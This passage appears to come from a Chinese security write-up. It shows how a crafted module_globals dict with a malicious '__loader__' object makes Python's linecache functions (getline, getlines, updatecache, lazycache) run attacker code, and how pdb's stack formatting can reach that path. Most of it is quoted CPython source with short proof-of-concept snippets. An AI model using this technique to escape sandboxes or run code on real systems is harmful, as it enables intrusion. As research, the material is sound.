a = linecache.getline('LamentXU', 114514, fake_moudle) a = linecache.getlines('LamentXU', fake_moudle) a = linecache.updatecache('LamentXU', fake_moudle)
def getline(filename, lineno, module_globals=None): """Get a line for a Python source file from the cache. Update the cache if it doesn't contain an entry for this file already."""
def getlines(filename, module_globals=None): """Get the lines for a Python source file from the cache. Update the cache if it doesn't contain an entry for this file already."""
if filename in cache: entry = cache[filename] if len(entry) != 1: return cache[filename][2]
def updatecache(filename, module_globals=None): """Update a cache entry and return its list of lines. If something's wrong, print a message, discard the cache entry, and return an empty list."""
if filename in cache: if len(cache[filename]) != 1: cache.pop(filename, None) if not filename or (filename.startswith('<') and filename.endswith('>')): return []
# Realise a lazy loader based lookup if there is one # otherwise try to lookup right now. if lazycache(filename, module_globals): try: data = cache[filename][0]() # print(data) except (ImportError, OSError): pass else: if data is None: # No luck, the PEP302 loader cannot find the source # for this module. return [] cache[filename] = ( len(data), None, [line + '\n' for line in data.splitlines()], fullname ) return cache[filename][2]
# Try looking through the module search path, which is only useful # when handling a relative filename. if os.path.isabs(filename): return []
for dirname in sys.path: try: fullname = os.path.join(dirname, basename) except (TypeError, AttributeError): # Not sufficiently string-like to do anything useful with. continue try: stat = os.stat(fullname) break except OSError: pass else: return [] try: with tokenize.open(fullname) as fp: lines = fp.readlines() except OSError: return [] if lines and not lines[-1].endswith('\n'): lines[-1] += '\n' size, mtime = stat.st_size, stat.st_mtime cache[filename] = size, mtime, lines, fullname return lines
def lazycache(filename, module_globals): """Seed the cache for filename with module_globals.
The module loader will be asked for the source only when getlines is called, not immediately.
If there is an entry in the cache already, it is not altered.
:return: True if a lazy load is registered in the cache, otherwise False. To register such a load a module loader with a get_source method must be found, the filename must be a cachable filename, and the filename must not be already cached. """ if filename in cache: # print(len(cache[filename])) if len(cache[filename]) == 1: return True else: return False # print('he') if not filename or (filename.startswith('<') and filename.endswith('>')): return False # Try for a __loader__, if available if module_globals and '__loader__' in module_globals: name = module_globals.get('__name__') loader = module_globals['__loader__'] get_source = getattr(loader, 'get_source', None) # print(name, loader, get_source) if name and get_source: get_lines = functools.partial(get_source, name) cache[filename] = (get_lines,) return True return False
try: data = cache[filename][0]() # print(data) except (ImportError, OSError): pass else: if data is None: # No luck, the PEP302 loader cannot find the source # for this module. return [] cache[filename] = ( len(data), None, [line + '\n' for line in data.splitlines()], fullname ) return cache[filename][2]
fake_moudle = { '__name__': 'LamentXU', '__loader__': evil() } a = linecache.lazycache('1', fake_moudle) for i in linecache.cache.values(): for j in i: j.func()
同样可以达到RCE的效果。
So What?
看到这里你可能会想:linecache的第三个参数怎么会可控呢?我们来看:
在python的PDB中,有调用了如下函数:
1 2 3 4 5 6
def print_stack_trace(self): try: for frame_lineno in self.stack: self.print_stack_entry(frame_lineno) except KeyboardInterrupt: pass
def format_stack_entry(self, frame_lineno, lprefix=': '): """Return a string with information about a stack entry.
The stack entry frame_lineno is a (frame, lineno) tuple. The return string contains the canonical filename, the function name or '<lambda>', the input arguments, the return value, and the line of code (if it exists).
""" import linecache, reprlib frame, lineno = frame_lineno filename = self.canonic(frame.f_code.co_filename) s = '%s(%r)' % (filename, lineno) if frame.f_code.co_name: s += frame.f_code.co_name else: s += "<lambda>" s += '()' if '__return__' in frame.f_locals: rv = frame.f_locals['__return__'] s += '->' s += reprlib.repr(rv) line = linecache.getline(filename, lineno, frame.f_globals) if line: s += lprefix + line.strip() return s